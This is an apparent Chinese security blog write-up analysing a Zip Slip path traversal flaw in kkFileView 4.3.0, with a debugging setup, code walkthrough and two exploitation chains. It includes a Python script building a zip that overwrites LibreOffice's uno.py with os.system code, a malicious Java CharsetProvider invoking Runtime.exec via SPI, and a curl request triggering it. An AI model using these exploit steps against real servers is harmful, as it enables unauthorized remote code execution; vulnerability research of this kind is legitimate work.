黄金榜上,偶失龙头望。明代暂遗贤,如何向。未遂风云便,争不恣狂荡。何须论得丧?才子词人,自是白衣卿相。 烟花巷陌,依约丹青屏障。幸有意中人,堪寻访。且恁偎红倚翠,风流事、平生畅。青春都一饷。忍把浮名,换了浅斟低唱!
Zip Slip漏洞还是很经典的,但没咋接触过,记录一下,Java Zip Slip漏洞案例分析及实战挖掘
环境搭建 1 2 3 wget https://kkview.cn/resource/kkFileView-4.3.0-docker.tar docker load -i kkFileView-4.3.0-docker.tar docker run -it -p 8012:8012 keking/kkfileview:4.3.0
后续可以把jar拉出来,然后动调
1 java -Dfile.encoding=UTF-8 -Dspring.config.location=../config/application.properties -agentlib:jdwp=transport=dt_socket,server=y,suspend =n,address=5005 -jar kkFileView-4.3.0.jar
漏洞分析 看到预览文件功能cn.keking.web.controller.OnlinePreviewController
根据文件类型获取对应的service,这里看到我们上传zip文件,那么 filePreview 即CompressFilePreviewImpl
,最后会调用 filePreview 的 filePreviewHandle 方法进行处理
cn.keking.service.impl.CompressFilePreviewImpl#filePreviewHandle
进行解压操作cn.keking.service.CompressFileReader#unRar
获取到压缩包内部文件名,直接对路径进行拼接,导致目录穿越,并调用 FileOutputStream 创建文件,注意append为true,即如果文件已存在则追加数据
并且目录不存在的话,会 mkdirs 创建多级目录
注意: 这里 FileOutputStream 写文件需要先存在extractPath + folderName + "_" + File.separator
这个文件夹,否则会报错找不到文件
所以需要放一个正常文件来构造该目录
漏洞利用 其实就一个Zip Slip,内容不足以我写一篇博客记录,当然是有后续了,先看看公开的方法
uno.py RCE 目标在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以在该文件内添加恶意代码
1 2 3 4 5 6 7 8 9 10 11 12 13 import zipfileif __name__ == "__main__" : try : binary1 = b'1ue' binary2 = b'import os\r\nos.system(\'touch /tmp/hack_by_1ue\')' zipFile = zipfile.ZipFile("hack.zip" , "a" , zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo("hack.zip" ) zipFile.writestr("test" , binary1) zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py" , binary2) zipFile.close() except IOError as e: raise e
缺陷:需要存在Libreoffice,并知道安装路径
SpringBoot 任意文件写RCE 三梦师傅yyds!
看到该漏洞,第一时间就想的是SpringBoot写文件RCE,LandGrey师傅的charsets.jar需要替换该文件,那么就想到threedr3am师傅的SPI机制
看到Charset.forName
的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public static Charset forName (String charsetName) { Charset cs = lookup(charsetName); if (cs != null ) return cs; throw new UnsupportedCharsetException (charsetName); } private static Charset lookup (String charsetName) { if (charsetName == null ) throw new IllegalArgumentException ("Null charset name" ); Object[] a; if ((a = cache1) != null && charsetName.equals(a[0 ])) return (Charset)a[1 ]; return lookup2(charsetName); } private static Charset lookup2 (String charsetName) { Object[] a; if ((a = cache2) != null && charsetName.equals(a[0 ])) { cache2 = cache1; cache1 = a; return (Charset)a[1 ]; } Charset cs; if ((cs = standardProvider.charsetForName(charsetName)) != null || (cs = lookupExtendedCharset(charsetName)) != null || (cs = lookupViaProviders(charsetName)) != null ) { cache(charsetName, cs); return cs; } checkName(charsetName); return null ; }
跟进 lookupViaProviders 的 providers 方法
发现就是一个SPI加载provider的模式 那么我们可以编写一个继承了java.nio.charset.spi.CharsetProvider
类的恶意provider,通过SPI机制,触发其加载并初始化
Evil.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import java.io.IOException;import java.nio.charset.Charset;import java.util.HashSet;import java.util.Iterator;public class Evil extends java .nio.charset.spi.CharsetProvider { @Override public Iterator<Charset> charsets () { return new HashSet <Charset>().iterator(); } @Override public Charset charsetForName (String charsetName) { if (charsetName.startsWith("Evil" )) { try { Runtime.getRuntime().exec("touch /tmp/test111" ); } catch (IOException e) { e.printStackTrace(); } } return Charset.forName("UTF-8" ); } }
在jre/classes内创建文件夹META-INF/services,在创建的文件夹下面创建一个文件,命名为SPI接口的全路径名,内容为需要动态加载的实现类的全路径名
1 2 3 4 5 6 7 8 9 bmth@bmth:/usr/lib/jvm/java-8-openjdk-amd64/jre/classes$ tree . ├── Evil.class └── META-INF └── services └── java.nio.charset.spi.CharsetProvider bmth@bmth:/usr/lib/jvm/java-8-openjdk-amd64/jre/classes$ cat META-INF/services/java.nio.charset.spi.CharsetProvider Evil
最后创建压缩包并上传预览
成功写入文件
最后看看如何触发:org.springframework.web.accept.HeaderContentNegotiationStrategy
获取 Header头 Accept 的值,跟进处理方法MediaType.parseMediaTypes(headerValues)
1 2 3 4 5 6 7 <init>:189, MimeType (org.springframework.util) parseMimeTypeInternal:255, MimeTypeUtils (org.springframework.util) parseMimeType:195, MimeTypeUtils (org.springframework.util) parseMediaType:617, MediaType (org.springframework.http) parseMediaTypes:646, MediaType (org.springframework.http) parseMediaTypes:666, MediaType (org.springframework.http) resolveMediaTypes:53, HeaderContentNegotiationStrategy (org.springframework.web.accept)
new实例化对象MimeType
调用 checkParameters 方法检测传入的值
触发到Charset.forName()
最后的exp:(需要docker restart重启服务)
1 curl -X GET "http://192.168.111.178:8012/" -H "Accept: text/html;charset=Evil"
缺陷:
由于类加载器缓存的机制,需要重启后才能加载到,非常鸡肋。。。
需要知道jdk的绝对路径
总结 .jar包的任意文件写实现RCE还是非常困难的,需要一些第三方依赖,后续期待大佬们的研究
太菜了,没有想到更好的方法qwq,当然,如果非jar包启动直接freemarker模板注入即可
五一去粥的嘉年华和音律联觉了,打工仔难得的假期!
参考:从Spring Boot FatJar文件写漏洞的一次实践 JDK8任意文件写场景下的SpringBoot RCE https://github.com/luelueking/kkFileView-v4.3.0-RCE-POC